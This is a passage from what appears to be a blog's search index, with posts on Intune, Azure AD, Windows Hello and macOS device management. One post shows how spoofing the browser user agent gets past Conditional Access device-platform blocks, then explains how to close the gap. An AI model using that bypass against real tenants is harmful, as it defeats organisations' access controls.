based on misconfigurations I’ve came across in the field which will give your Intune tenant and devices a hard time to work smoothly. So better read this post that you not screw up your Intune tenant and maybe take advantage of the experiences others already gained.\nHousekeeping # It’s important to know which devices are actually being used and usually a nice addition to understand compliance data. Stale device entries in may give you a wrong impression of your Intune tenant and it’s health. So enable the automatic device cleanup rule to remove the enrolled device from Intune. Additionally you may also remove the device entries stored in Azure Active Directory (I created a little on-demand script for this which can also run in azure automation).\nSame applies to registered Autopilot devices. E.g. if you allow your employees to buy their old devices from the company if they get a new one make sure to remove the device from the Autopilot service. Otherwise you’ll see it again popping up in your tenant very soon. Thus it also prevents the device from being registered in another tenant as autopilot device.\n","title":"5 Ways to Screw up your Intune Tenant","type":"posts"},{"content":"","date":"19 July 2019","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active-Directory","type":"tags"},{"content":"I\u0026rsquo;m thrilled to introduce the intune-drive-mapping-generator which creates PowerShell scripts to map network drives with Intune. The tool is open source and built on ASP.NET Core MVC.\nThe intune-drive-mapping-generator is your tool of choice to:\nGenerate an Intune PowerShell script to map network drives on Azure AD joined devices Seamlessly migrate existing network drive mapping group policies Generate a network drive mapping configuration from scratch Use an existing Active Directory group as a filter to deploy all your drive mapping configurations within one script This all happens without scripting effort. You receive a fully functional PowerShell script for the deployment with Intune.\nArchitecture # This tool is designed to work best with the following components although it can be useful for other purposes(?) :\nAzure AD Joined and Intune enrolled Windows 10 devices Synced user account from Active Directory to Azure Active Directory (Azure AD Connect) On-premises file servers Howto # Export existing group policy # To convert your existing drive mapping group policy configuration, save the GPO as XML report with the group policy management console.\nImport existing group policy # The import is quite self-explaining. Please do not make changes in the exported XML file. Just upload the previously exported file to the generator.\nConfigure security group filter # If you intend to use security group filtering simply enter the name of the (on-premises) Active Directory group which do you want to use for filtering. Existing security group filters from an imported group policy configuration are automatically detected and added. But currently only one, the first filter is imported.\nUpload PowerShell script to Intune # The script creates a scheduled task on the client which triggers the script initially and afterwards on every user logon. If you want to update your configuration simply generate a new script and replace the existing in Intune. The recurring functionality is based on a scheduled task which will be created on the Windows 10 client as soon as the script is executed under system context like the Intune Management Extension does.\nMake sure that you enable the \u0026ldquo;Run script in 64 bit PowerShell Host\u0026rdquo; option.\nSample files and GitHub # If you want to test the functionality with exported group policy objects you can find some test-files on the project\u0026rsquo;s GitHub repository.\nPlease find additional documentation and troubleshooting steps on the GitHub repository wiki.\n","date":"19 July 2019","externalUrl":null,"permalink":"/next-level-network-drive-mapping-with-intune/","section":"Posts","summary":"I’m thrilled to introduce the intune-drive-mapping-generator which creates PowerShell scripts to map network drives with Intune. The tool is open source and built on ASP.NET Core MVC.\nThe intune-drive-mapping-generator is your tool of choice to:\nGenerate an Intune PowerShell script to map network drives on Azure AD joined devices Seamlessly migrate existing network drive mapping group policies Generate a network drive mapping configuration from scratch Use an existing Active Directory group as a filter to deploy all your drive mapping configurations within one script This all happens without scripting effort. You receive a fully functional PowerShell script for the deployment with Intune.\nArchitecture # This tool is designed to work best with the following components although it can be useful for other purposes(?) :\nAzure AD Joined and Intune enrolled Windows 10 devices Synced user account from Active Directory to Azure Active Directory (Azure AD Connect) On-premises file servers Howto # Export existing group policy # To convert your existing drive mapping group policy configuration, save the GPO as XML report with the group policy management console.\n","title":"Automating network drive mapping configuration with Intune","type":"posts"},{"content":"","date":"19 July 2019","externalUrl":null,"permalink":"/tags/windows-10/","section":"Tags","summary":"","title":"Windows-10","type":"tags"},{"content":"Why want you to create desktop shortcuts with Intune? Business specific apps may require special shortcuts in order to launch the application with the right parameters. Or you need to create a shortcut for an application which is stored on your on premises fileserver. For this purpose I created a little solution which closes the gap between the modern cloud and on premises world. In comparison with other solutions this one works if you have redirected the users desktop with OneDrive Known Folder Move and automatically remediates missing shortcuts if they got deleted.\nDirect link to the GitHub repository.\nBrowser links: Instead of placing shortcuts to websites on the desktop I would recommend you to use managed bookmarks which can be directly provisioned within the web browser. I documented this for the new Microsoft Edge based on chromium here. {: .notice}\nFeatures # This solution works when the desktop is redirected with OneDrive Known Folder Move Everything is user based (local userprofile) If the shortcut is missing or deleted it gets automatically (re)created Possibility to remove shortcut via Intune Win32 app uninstall Shortcut can point to: URL, File (UNC) or Folder (UNC) Ability to pass shortcut arguments Ability to specify shortcut icon (UNC/URL) Ability to deploy shortcut together with an app using Intune Win32 app dependencies Architecture # A simple PowerShell script which does all the shortcut stuff is wrapped as Intune Win32 App. This adds possibility to detect the presence of the shortcut and if required to uninstall it with Intune. In order to work with the redirected desktop to OneDrive with Known Folder Move we can take advantage of the [Environment]::GetFolderPath(\u0026quot;Desktop\u0026quot;) method to resolve the desktop location. Based on the Win32 app configuration the shortut get\u0026rsquo;s either created on the users personal desktop or on the allusers desktop.\nConfiguration # You can find a prepackaged Intune Win32 app file of the \u0026ldquo;CreateDesktopIcon.ps1\u0026rdquo; script on my GitHub repository available for download. You can also wrap the scripts by yourself by using the IntuneWinAppUtil.exe available as download here.\nAvailable parameters # The PowerShell script supports the following command line parameters:\nParameter Explanation -ShortcutTargetPath Target path for your shortcut (URL, UNC) (file/folder) -ShortcutDisplayName Display name without file ending [-PinToStart] Optional: Create start additional start menu shortcut [-IconFile] Optional: Custom icon file for the shortcut (URL, UNC) [-ShortcutArguments] Optional: Additional command line arguments for the shortcut [-WorkingDirectory] Optional: WorkingDirectory for the shortcut Intune Win32 app configuration # Create a shortcut on the users personal desktop # To create a shortcut on the user\u0026rsquo;s personal desktop I will show you an example for a \u0026ldquo;cmd\u0026rdquo; shortcut.\nCreate a new Win32 app in Intune and upload the \u0026ldquo;CreateDesktopIcon.intunewin\u0026rdquo; you downloaded from my GitHub repository or wrapped by yourself.\nConfigure the program settings and specify the parameters for the shortcut creation depending on your needs.\nSetting Value Install command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;CreateDesktopIcon.ps1\u0026quot; -ShortcutTargetPath \u0026quot;cmd\u0026quot; -ShortcutDisplayName \u0026quot;cmd\u0026quot; Uninstall command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;RemoveDesktopIcon.ps1\u0026quot; -ShortcutDisplayName \u0026quot;cmd\u0026quot; Install behavior User We call Powershell from the sysnative path otherwise we only have a PowerShell x86 environment which doesn\u0026rsquo;t get along with environment variables. Make also sure to change the Install behavior to User because the Intune management extension needs to be in the user context to access ones users personal desktop. {: .notice\u0026ndash;warning}\nAnd the detection settings:\nSetting Value Rules format Use a custom detection script Script file Use this detection script Make sure to change the $shortcutName variable in the detection script to match your shortcut display name (without file ending). {: .notice\u0026ndash;warning}\nHere\u0026rsquo;s a little gif which covers the Intune part step by step: Create a shortcut on the allusers desktop # To create a shortcut on the allusers desktop I will show you the example for the cmd app. It\u0026rsquo;s basically the same set-up for the application part as for the user\u0026rsquo;s desktop shortcut except that we can leverage on Intune\u0026rsquo;s built-in detection rules to detect the shortcut on the allusers (public) desktop.\nSetting Value Install command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;CreateDesktopIcon.ps1\u0026quot; -ShortcutTargetPath \u0026quot;cmd\u0026quot; -ShortcutDisplayName \u0026quot;cmd\u0026quot; Uninstall command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;RemoveDesktopIcon.ps1\u0026quot; -ShortcutDisplayName \u0026quot;cmd\u0026quot; Install behavior System And the detection settings:\nSetting Value Rules format Manually configure detection rules Detection rules File or folder exists \u0026ldquo;%PUBLIC%\\Desktop\\cmd.lnk\u0026rdquo; Examples # Open a website with a specific browser # To create a shortcut which opens a website with a specific browser select the browser as target and pass the URL for the website as argument:\n\u0026amp; \u0026#34;CreateDesktopIcon.ps1\u0026#34; -ShortcutTargetPath \u0026#34;%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe\u0026#34; -ShortcutDisplayName \u0026#34;nicolonsky tech\u0026#34; -IconFile \u0026#34;https://tech.nicolonsky.ch/favicon.ico\u0026#34; -ShortcutArguments \u0026#34;https://tech.nicolonsky.ch\u0026#34; Shortcut for Windows Store apps # To create shortcuts for Windows Store apps (universal apps) you will need the \u0026ldquo;Application User Model ID\u0026rdquo; (AUMID). This one can easily be retrieved with PowerShell by running Get-StartApps then just copy and adjust the AppID. Here\u0026rsquo;s an example for the Intune company portal:\n\u0026amp; \u0026#34;CreateDesktopIcon.ps1\u0026#34; -ShortcutTargetPath \u0026#34;shell:AppsFolder\\Microsoft.CompanyPortal_8wekyb3d8bbwe!App\u0026#34; -ShortcutDisplayName \u0026#34;Company Portal\u0026#34; And here another one for the new Windows Terminal:\n\u0026amp; \u0026#34;CreateDesktopIcon.ps1\u0026#34; -ShortcutTargetPath \u0026#34;shell:AppsFolder\\Microsoft.WindowsTerminal_8wekyb3d8bbwe!App\u0026#34; -ShortcutDisplayName \u0026#34;Terminal\u0026#34; Hint shortcuts for Windows Store apps can only be created on the users desktop as the apps are individually installed per user. Find more details about gathering the AUMID in this Microsoft Docs article. {: .notice\u0026ndash;warning}\nShortcut to OneDrive folder # To point to the users OneDrive folder we can use the built in PowerShell environment variable $env:OneDriveCommercial which points to his Office 365 OneDrive folder in explorer:\n\u0026amp; \u0026#34;CreateDesktopIcon.ps1\u0026#34; -ShortcutTargetPath \u0026#34;$env:OneDriveCommercial\u0026#34; -ShortcutDisplayName \u0026#34;OneDrive\u0026#34; Shortcut with default Windows Shell Icons # If you want to use icons which ship with Windows you can use the -IconFile parameter and use %SystemRoot%\\System32\\SHELL32.dll,27 as path. The number after the comma represents the icon index. A list with all numbers and icons is available here.\nExample for a shutdown shortcut with a shutdown icon:\n\u0026amp; \u0026#34;CreateDesktopIcon.ps1\u0026#34; -ShortcutTargetPath \u0026#34;shutdown\u0026#34; -ShortcutDisplayName \u0026#34;shutdown\u0026#34; -ShortcutArguments \u0026#34;-s -t 60\u0026#34; -IconFile \u0026#34;%SystemRoot%\\System32\\SHELL32.dll,27\u0026#34; Happy Desktop-Shortcuting.\n","date":"9 July 2019","externalUrl":null,"permalink":"/intune-create-desktop-shortcut/","section":"Posts","summary":"Why want you to create desktop shortcuts with Intune? Business specific apps may require special shortcuts in order to launch the application with the right parameters. Or you need to create a shortcut for an application which is stored on your on premises fileserver. For this purpose I created a little solution which closes the gap between the modern cloud and on premises world. In comparison with other solutions this one works if you have redirected the users desktop with OneDrive Known Folder Move and automatically remediates missing shortcuts if they got deleted.\nDirect link to the GitHub repository.\nBrowser links: Instead of placing shortcuts to websites on the desktop I would recommend you to use managed bookmarks which can be directly provisioned within the web browser. I documented this for the new Microsoft Edge based on chromium here. {: .notice}\nFeatures # This solution works when the desktop is redirected with OneDrive Known Folder Move Everything is user based (local userprofile) If the shortcut is missing or deleted it gets automatically (re)created Possibility to remove shortcut via Intune Win32 app uninstall Shortcut can point to: URL, File (UNC) or Folder (UNC) Ability to pass shortcut arguments Ability to specify shortcut icon (UNC/URL) Ability to deploy shortcut together with an app using Intune Win32 app dependencies Architecture # A simple PowerShell script which does all the shortcut stuff is wrapped as Intune Win32 App. This adds possibility to detect the presence of the shortcut and if required to uninstall it with Intune. In order to work with the redirected desktop to OneDrive with Known Folder Move we can take advantage of the [Environment]::GetFolderPath(\"Desktop\") method to resolve the desktop location. Based on the Win32 app configuration the shortut get’s either created on the users personal desktop or on the allusers desktop.\n","title":"Creating desktop shortcuts with Intune","type":"posts"},{"content":"Recently I read a great article from the Microsoft IAM Director Sue Bohn concerning a Conditional Access Q\u0026amp;A. One question was about the device platform feature - which let\u0026rsquo;s you apply a policy only to a specific device platform like iOS, Android or Windows 10.\nThe detection of the device platform relies on the user agent string sent by the application or web browser. Because this one can be spoofed easily better configure your Conditional Access policies wisely.\nThe problem # As soon as you enable the device platform selection there\u0026rsquo;s the chance that a user doesn\u0026rsquo;t catch any Conditional Access policy.\nAs a result, you should not rely on the User Agent String to be present or to be accurate. Most browsers have a function to set an arbitrary User Agent String for testing purposes. (Microsoft)\nBypass example # To give you an example, here\u0026rsquo;s a little walk-through:\nConditional Access Policy configured for all cloud apps Windows 10 selected as device platform Access control: Block If we now try to access the azure portal with a Windows 10 app or browser we get the following result:\n| | |\nNow let\u0026rsquo;s change the user agent string with the developer settings and the browser of your choice to an iPhone:\nand try to access the azure portal again with our new user agent:\nWe have a successful sign in which can be tracked in the Azure AD sign-in logs.\nHow to avoid Conditional Access platform bypass # If you intend to use the Platform selection feature make sure that there\u0026rsquo;s an conditional access policy applicable for every platform Be aware that if a device or application doesn\u0026rsquo;t fall into the common platforms (Android, iOS, Windows Phone, Windows, macOS) no policy applies without further configuration Build a Conditional Access policy which blocks access for unknown platforms by including the \u0026ldquo;Any device\u0026rdquo; category and excluding the platforms you want to configure separately | | |\n","date":"2 July 2019","externalUrl":null,"permalink":"/bypassing-conditional-access-device-platform-policies/","section":"Posts","summary":"Recently I read a great article from the Microsoft IAM Director Sue Bohn concerning a Conditional Access Q\u0026A. One question was about the device platform feature - which let’s you apply a policy only to a specific device platform like iOS, Android or Windows 10.\nThe detection of the device platform relies on the user agent string sent by the application or web browser. Because this one can be spoofed easily better configure your Conditional Access policies wisely.\nThe problem # As soon as you enable the device platform selection there’s the chance that a user doesn’t catch any Conditional Access policy.\nAs a result, you should not rely on the User Agent String to be present or to be accurate. Most browsers have a function to set an arbitrary User Agent String for testing purposes. (Microsoft)\nBypass example # To give you an example, here’s a little walk-through:\nConditional Access Policy configured for all cloud apps Windows 10 selected as device platform Access control: Block If we now try to access the azure portal with a Windows 10 app or browser we get the following result:\n","title":"Bypassing Conditional Access Device Platform Policies","type":"posts"},{"content":"A colleague recently asked me how to access the Microsoft Graph API using PowerShell without specifying his user account or credentials. So here\u0026rsquo;s a little post about the required configuration to authenticate against the OAuth 2.0 endpoint of Azure AD with an app registration. This is especially useful for automation services like Azure automation.\nAt the end of this post you\u0026rsquo;ll find a PowerShell template.\nGather application information # Create a new client secret for your app and note down the following values:\nClient Secret Application ID (client ID) Directory ID (tenant ID) Azure AD App registration ## PowerShell code Request authentication token # In order to use the Graph API we need an authentication token. The information we gathered before is now sent to the Azure AD OAuth 2.0 endpoint.\nhttps://login.microsoftonline.com/{TenantID}/oauth2/v2.0/token In the request supply a body with the following content:\n$body=@{ client_id=\u0026#34;8f9f420d-606c-4e13-889e-837072dbfb42\u0026#34; client_secret=\u0026#34;BlaBlaExampleSecret\u0026#34; #Generated secret scope=\u0026#34;https://graph.microsoft.com/.default\u0026#34; grant_type=\u0026#34;client_credentials\u0026#34; } The scope and grant_type are required attributes. A full example looks like:\n$body=@{ client_id=\u0026#34;8f9f420d-606c-4e13-889e-837072dbfb42\u0026#34; client_secret=\u0026#34;BlaBlaExampleSecret\u0026#34; scope=\u0026#34;https://graph.microsoft.com/.default\u0026#34; grant_type=\u0026#34;client_credentials\u0026#34; } $tenantId=\u0026#34;7955e1b3-cbad-49eb-9a84-e14aed7f3400\u0026#34; Invoke-WebRequest -Uri \u0026#34;https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token\u0026#34; -ContentType \u0026#34;application/x-www-form-urlencoded\u0026#34; -Body $body -Method Post If everything works we receive an access token object as HTML 200/ok response:\nHTTP response Using the access token # Now you\u0026rsquo;re ready to make requests to the Graph API. Just include the access token in your request\u0026rsquo;s header. Make sure that your application has the required permissions assigned and granted with admin consent!\nAPI permissions PowerShell template # Here\u0026rsquo;s a little PowerShell template which contains all the logic required to authenticate against the Graph API - hope it saves you some time:\nReference: Microsoft Docs ","date":"17 June 2019","externalUrl":null,"permalink":"/calling-the-microsoft-graph-api/","section":"Posts","summary":"A colleague recently asked me how to access the Microsoft Graph API using PowerShell without specifying his user account or credentials. So here’s a little post about the required configuration to authenticate against the OAuth 2.0 endpoint of Azure AD with an app registration. This is especially useful for automation services like Azure automation.\nAt the end of this post you’ll find a PowerShell template.\nGather application information # Create a new client secret for your app and note down the following values:\nClient Secret Application ID (client ID) Directory ID (tenant ID) Azure AD App registration ## PowerShell code Request authentication token # In order to use the Graph API we need an authentication token. The information we gathered before is now sent to the Azure AD OAuth 2.0 endpoint.\nhttps://login.microsoftonline.com/{TenantID}/oauth2/v2.0/token In the request supply a body with the following content:\n$body=@{ client_id=\"8f9f420d-606c-4e13-889e-837072dbfb42\" client_secret=\"BlaBlaExampleSecret\" #Generated secret scope=\"https://graph.microsoft.com/.default\" grant_type=\"client_credentials\" } The scope and grant_type are required attributes. A full example looks like:\n$body=@{ client_id=\"8f9f420d-606c-4e13-889e-837072dbfb42\" client_secret=\"BlaBlaExampleSecret\" scope=\"https://graph.microsoft.com/.default\" grant_type=\"client_credentials\" } $tenantId=\"7955e1b3-cbad-49eb-9a84-e14aed7f3400\" Invoke-WebRequest -Uri \"https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token\" -ContentType \"application/x-www-form-urlencoded\" -Body $body -Method Post If everything works we receive an access token object as HTML 200/ok response:\n","title":"Calling the Microsoft Graph API via PowerShell without a user","type":"posts"},{"content":"I had the honor to deploy Windows Hello for Business several times for customers transitioning to a modern workplace using Azure AD and Microsoft Intune to manage their Windows 10 devices - combined with hybrid user identities. Now I want to share the most common hurdles and my experiences with you.\nJust to make sure that you have the modern mindset - here\u0026rsquo;s a little quote to reconsider your hybrid strategy (if not already done):\nYou don\u0026rsquo;t need a Hybrid Azure AD join for your Windows 10 devices. Be brave and don\u0026rsquo;t be afraid and switch to an Azure AD join. It will simplify your device management and significantly reduce the complexity.\nWhy additional configuration is required # To access on premise resources who rely on Active Directory (file shares, applications) kerberos is used as authentication protocol. If you have Azure AD connect in place and a user sign\u0026rsquo;s in with his hybrid Identity using a password to a Windows 10 device which is Azure AD joined he automatically receives the required kerberos tickets if he wants to access resources.\nBut if the sign-in happens with Windows Hello for Business credentials (pin, biometrics) the authentication flow get\u0026rsquo;s interrupted because whether the domain controller (if it\u0026rsquo;s not a Windows Server 2016 DC) or the client can verify the integrity of each other.\nPossible configurations # For Azure AD joined devices the following Windows Hello for Business deployment options exist:\naadj-sso-cert\naadj-sso-base\nYou have to chose your deployment strategy wisely - the key based authentication may look tempting but possibly you need to distribute other user-certificates as well like for WiFi authentication or an Always On VPN.\nYou can find more details and the Hybrid Azure AD Join Deployment options in the slides from a community event I attended as a speaker Big picture # For better understanding here\u0026rsquo;s a scheme of the involved components when using Windows Hello for Business SSO with on premise resources. As mentioned before NDES is not necessary - depending on your deployment option.\n## Issue #1: CRL The number one issue from my experience is always the availability of the certificate revocation list (CRL). During the authentication flow a verification get\u0026rsquo;s performed:\nAfter a verification of the users pre-authentication data the KDC (Kerberos key distribution center) which is running on a Domain Controller returns a Ticket Granting Ticket (TGT). Thereupon the client determines if he can trust the response from the KDC. _ This includes a check if the certificate neither has expired nor been revoked, the certificate chain is valid and the CRL is valid and accessible. _ When using certificate trust with WHFB the client sends as mentioned above in case #1 an authentication request but it includes also the user\u0026rsquo;s certificate and a verification if neither the certificate has expired nor been revoked, the certificate chain is valid and the CRL is valid and accessible. On success the KDC returns a TGT and the client will verify the response. Requirements # The certificate revocation list must be accessible from every client involved in the authentication flow. Assuming that you have published your CRL with a web server make sure that the CRL is available trough HTTP and not HTTPS. Please also note that Hybrid Azure AD joined devices cannot access the LDAP CRL.\nWindows provides a very helpful an powerful tool called certutil to verify the CRL accessibility (and basically support for all operations for certificate deployments). Run it on your DC\u0026rsquo;s and your Windows 10 clients to verify the accessibility. If you are running a web proxy with user authentication also check the accessibility under the SYSTEM account using PsExec.\nYou can check the CRL availability with:\ncertutil -url \u0026quot;%CRL URL%\u0026quot;\ncertutil -url \u0026quot;%Exported certificate file path%\u0026quot;\nAnd here some examples:\ncertutil -url \u0026quot;http://crl.nicolonsky.ch/nt-issuing-ca\u0026quot;\ncertutil -url \u0026quot;c:\\temp\\nicolonsky-nicola.cer\u0026quot;\nChecking the CRL retrieval with certutil At this point I also recommend to remove unused or unavailable CRL paths.\nMore log resources # The validation of the certificate chain and CRL can also be traced in the Windows eventlog. Simply enable the \u0026ldquo;Microsoft-Windows-CAPI2/Operational\u0026rdquo; log and you\u0026rsquo;ll find all certificate validation based entries there.\nIssue #2: Domain Controller Certificates # The domain controller certificates must be installed on all domain controllers which handle authentication requests. Make sure that the certificate is valid for the KDC Authentication usage and the primary DNS domain name (e.g. intra.contoso.com) is included in the SAN. To avoid any missing certificate properties copy the \u0026ldquo;Kerberos Authentication\u0026rdquo; certificate template.\nFor an easier management of the Domain Controller certificates I strongly recommend to enable auto enrollment.\nIssue #3: Enterprise CA # For all cloud Windows Hello for Business deployment scenarios (Hybrid Azure AD Joined \u0026amp; Azure AD Joined) enterprise CA infrastructure is required. Whereas for key trust deployments certificates are only required on domain controllers; for a certificate trust certificates must be distributed to end users.\nFinal thoughts # I hope this post helps you to spin up your Windows Hello for Business deployment. Have you experienced other issues during the deployment? Please leave a comment and I\u0026rsquo;ll update the post accordingly.\n","date":"9 June 2019","externalUrl":null,"permalink":"/mastering-windows-hello-for-business-with-your-hybrid-identity/","section":"Posts","summary":"I had the honor to deploy Windows Hello for Business several times for customers transitioning to a modern workplace using Azure AD and Microsoft Intune to manage their Windows 10 devices - combined with hybrid user identities. Now I want to share the most common hurdles and my experiences with you.\nJust to make sure that you have the modern mindset - here’s a little quote to reconsider your hybrid strategy (if not already done):\nYou don’t need a Hybrid Azure AD join for your Windows 10 devices. Be brave and don’t be afraid and switch to an Azure AD join. It will simplify your device management and significantly reduce the complexity.\nWhy additional configuration is required # To access on premise resources who rely on Active Directory (file shares, applications) kerberos is used as authentication protocol. If you have Azure AD connect in place and a user sign’s in with his hybrid Identity using a password to a Windows 10 device which is Azure AD joined he automatically receives the required kerberos tickets if he wants to access resources.\nBut if the sign-in happens with Windows Hello for Business credentials (pin, biometrics) the authentication flow get’s interrupted because whether the domain controller (if it’s not a Windows Server 2016 DC) or the client can verify the integrity of each other.\n","title":"Mastering Windows Hello for Business with your hybrid Identity","type":"posts"},{"content":"","date":"23 May 2019","externalUrl":null,"permalink":"/tags/microsoft-defender-atp/","section":"Tags","summary":"","title":"Microsoft-Defender-Atp","type":"tags"},{"content":"Microsoft Defender ATP (MDATP) for macOS hit finally the public preview status. We can now protect our macOS endpoints with cloud based power. I created a little guide about the onboarding process with Microsoft Intune and the user experience.\nPrerequisites # From a macOS endpoint perspective:\nmacOS version 10.12 (Sierra) or newer No third party endpoint protection installed At least 1GB of free disk space macOS client enrolled in your Intune tenant If you want to enable macOS enrollment for your Intune tenant - I\u0026rsquo;ve written a post about the enrollment process.\nFrom a Microsoft 365 perspective:\nMicrosoft Defender ATP license (Windows 10 Enterprise E5) Intune tenant wit macOS enrollment enabled Access to the Microsoft Defender Security Center Appropriate user rights to create and assign an Intune device configuration, LOB App This post assumes that you perform the tasks and file preparation on a macOS machine.\nPreparing the onboarding package and files # Access the Microsoft Defender Security Center and gather the installation and onboarding package:\nTo deploy the installation package with Microsoft Intune we need the Intune app wrapping tool for macOS which is available here.\nNow you should have these three files:\nMicrosoft Defender ATP source files Open a terminal and perform the following actions:\nMake the IntuneAppUtil executable: chmod +x IntuneAppUtil\nGenerate the Intune deployment package: ./IntuneAppUtil -c wdav.pkg -o . -i \u0026quot;com.microsoft.wdav\u0026quot;\nUnzip the onboarding package: unzip WindowsDefenderATPOnboardingPackage.zip we\u0026rsquo;ll need the files in the unzipped intune folder later\nWhen you have successfully completed the above steps, the file structure looks like this:\nWrapped and unzipped Microsoft Defender ATP files Intune portal configuration # In the Intune portal create a custom device configuration to deploy the Microsoft Defender ATP kext.xml (kernel extension). Upload the kext file from the previously extracted zip file which is located in the Intune folder. These kernel extensions will be loaded into the macOS operating system on boot for the Microsoft Defender ATP service.\nFor the actual onboarding of the macOS machine to your MDATP tenant we need the onboarding configuration \u0026ldquo;WindowsDefenderATPOnboarding.xml\u0026rdquo; which contains encrypted tenant info. You find the file also in the unzipped package in the Intune folder. To deploy this file create another custom device configuration and upload the xml file:\nTo deploy the Microsoft Defender ATP package create a new LOB (Line-of-business-app) and upload the wrapped *.intunemac file:\nProvide the required app information and make sure to set the minimum operation system version to Sierra as mentioned in the prerequisites:\nFurthermore make sure that you assign both device configurations and the LOB app to your targeted Azure AD group.\nResultant macOS experience # After the device configurations were applied a new icon pops up on your macOS device:\nMDATP icon on macOS And here\u0026rsquo;s a snippet of the main app:\nVirus \u0026amp; threat protection status To end this post here\u0026rsquo;s the machine view from the MDATP security dashboard:\nmacOS machine in the MDATP security dashboard Reference:\nMicrosoft Docs ","date":"23 May 2019","externalUrl":null,"permalink":"/onboard-macos-to-windows-defender-atp-with-microsoft-intune/","section":"Posts","summary":"Microsoft Defender ATP (MDATP) for macOS hit finally the public preview status. We can now protect our macOS endpoints with cloud based power. I created a little guide about the onboarding process with Microsoft Intune and the user experience.\nPrerequisites # From a macOS endpoint perspective:\nmacOS version 10.12 (Sierra) or newer No third party endpoint protection installed At least 1GB of free disk space macOS client enrolled in your Intune tenant If you want to enable macOS enrollment for your Intune tenant - I’ve written a post about the enrollment process.\nFrom a Microsoft 365 perspective:\nMicrosoft Defender ATP license (Windows 10 Enterprise E5) Intune tenant wit macOS enrollment enabled Access to the Microsoft Defender Security Center Appropriate user rights to create and assign an Intune device configuration, LOB App This post assumes that you perform the tasks and file preparation on a macOS machine.\nPreparing the onboarding package and files # Access the Microsoft Defender Security Center and gather the installation and onboarding package:\nTo deploy the installation package with Microsoft Intune we need the Intune app wrapping tool for macOS which is available here.\n","title":"Onboard macOS to Microsoft Defender ATP with Microsoft Intune","type":"posts"},{"content":"As Microsoft starts to empower the integration for non Windows devices and also the available apps for macOS devices you might want to profit from your existing MDM solution of choice (Microsoft Intune) and enable features like conditional access or Windows Defender ATP on your macOS devices. This post covers the enrollment with the company portal app. If you want to enroll your devices with DEP (device enrollment program) you can find a great guide here.\nMind the enrollment restrictions # Let\u0026rsquo;s start and check the configured enrollment restrictions to make sure that the macOS enrollment is not blocked for your tenant. You\u0026rsquo;ll find them on your Intune dashboard under: Microsoft Intune \u0026gt; Device enrollment - Enrollment restrictions\nIntune enrollment restrictions Get an Apple MDM push certificate # Without loosing into details - you need an Apple MDM push certificate (also called APNs) to manage apple devices with MDM. The push certificate allows your MDM solution to send notifications about device actions to your end devices (e.g. wipe, app installation, new policy). To request a push certificate you need a valid Apple ID.\nIn Intune navigate to the Apple enrollment section and download your CSR. The CSR is required to request the APNs certificate.\nIntune Apple enrollment configuration Now access the Apple push certificate portal and sign in with a valid apple ID.\nCreate a new APNs certificate Request a new certificate and upload your CSR when prompted. Afterwards switch back to your Intune portal and upload the issued APNs certificate.\nEnroll your first macOS machine # Here a little walk trough from an end users perspective.\nFirst sign in to the Intune device portal with your browser and Microsoft account: https://portal.manage.microsoft.com/.\nAdd a new deviceDownload the company portal appInstall the company portal app and Microsoft auto updateLaunch the company portal and sign in with your Microsoft accountWait for the enrollment to completeApprove the management profile in the system preferencesChoose profilesApprove the management profileNow your macOS is successfully enrolled into Intune Now you\u0026rsquo;re ready to empower the Microsoft power on your macOS devices!\n","date":"23 May 2019","externalUrl":null,"permalink":"/enroll-macos-to-microsoft-intune/","section":"Posts","summary":"As Microsoft starts to empower the integration for non Windows devices and also the available apps for macOS devices you might want to profit from your existing MDM solution of choice (Microsoft Intune) and enable features like conditional access or Windows Defender ATP on your macOS devices. This post covers the enrollment with the company portal app. If you want to enroll your devices with DEP (device enrollment program) you can find a great guide here.\nMind the enrollment restrictions # Let’s start and check the configured enrollment restrictions to make sure that the macOS enrollment is not blocked for your tenant. You’ll find them on your Intune dashboard under: Microsoft Intune \u003e Device enrollment - Enrollment restrictions\nIntune enrollment restrictions Get an Apple MDM push certificate # Without loosing into details - you need an Apple MDM push certificate (also called APNs) to manage apple devices with MDM. The push certificate allows your MDM solution to send notifications about device actions to your end devices (e.g. wipe, app installation, new policy). To request a push certificate you need a valid Apple ID.\n","title":"Enroll macOS devices to Microsoft Intune","type":"posts"},{"content":"When using your notebooks and portable devices together with a docking station your users might like to close the lid. The Windows 10 1903 release introduces additional power CSP settings. One of them allows you to configure the lid close action while on ac power - so the device doesn\u0026rsquo;t switch to hibernate mode as by default.\nPolicy CSP configuration # To configure this policy with Microsoft Intune use the following OMA-URI configuration within a new custom device configuration:\n| Name | SelectLidCloseActionPluggedIn | | Description | Action that Windows takes when a user closes the lid on a mobile PC. | | OMA-URI | ./Device/Vendor/MSFT/Policy/Config/Power/SelectLidCloseActionPluggedIn | | Data type | Integer | | Value | 0 |\nOther possible values are:\n0 - Take no action 1 - Sleep 2 - System hibernate sleep state 3 - System shutdown End user experience # After the next MDM policy refresh the configured policy takes effect and is visible under the power options in control panel:\nNow enjoy closing the lid.\nsource: https://media.giphy.com/media/l3q2wMdhTXm84vbaw/source.gif If you want to configure additional power settings with Microsoft Intune find additional CSP settings here.\nReference:\nMicrosoft Docs ","date":"19 May 2019","externalUrl":null,"permalink":"/intune-lid-close-action/","section":"Posts","summary":"When using your notebooks and portable devices together with a docking station your users might like to close the lid. The Windows 10 1903 release introduces additional power CSP settings. One of them allows you to configure the lid close action while on ac power - so the device doesn’t switch to hibernate mode as by default.\nPolicy CSP configuration # To configure this policy with Microsoft Intune use the following OMA-URI configuration within a new custom device configuration:\n| Name | SelectLidCloseActionPluggedIn | | Description | Action that Windows takes when a user closes the lid on a mobile PC. | | OMA-URI | ./Device/Vendor/MSFT/Policy/Config/Power/SelectLidCloseActionPluggedIn | | Data type | Integer | | Value | 0 |\nOther possible values are:\n0 - Take no action 1 - Sleep 2 - System hibernate sleep state 3 - System shutdown End user experience # After the next MDM policy refresh the configured policy takes effect and is visible under the power options in control panel:\n","title":"Intune configure lid close 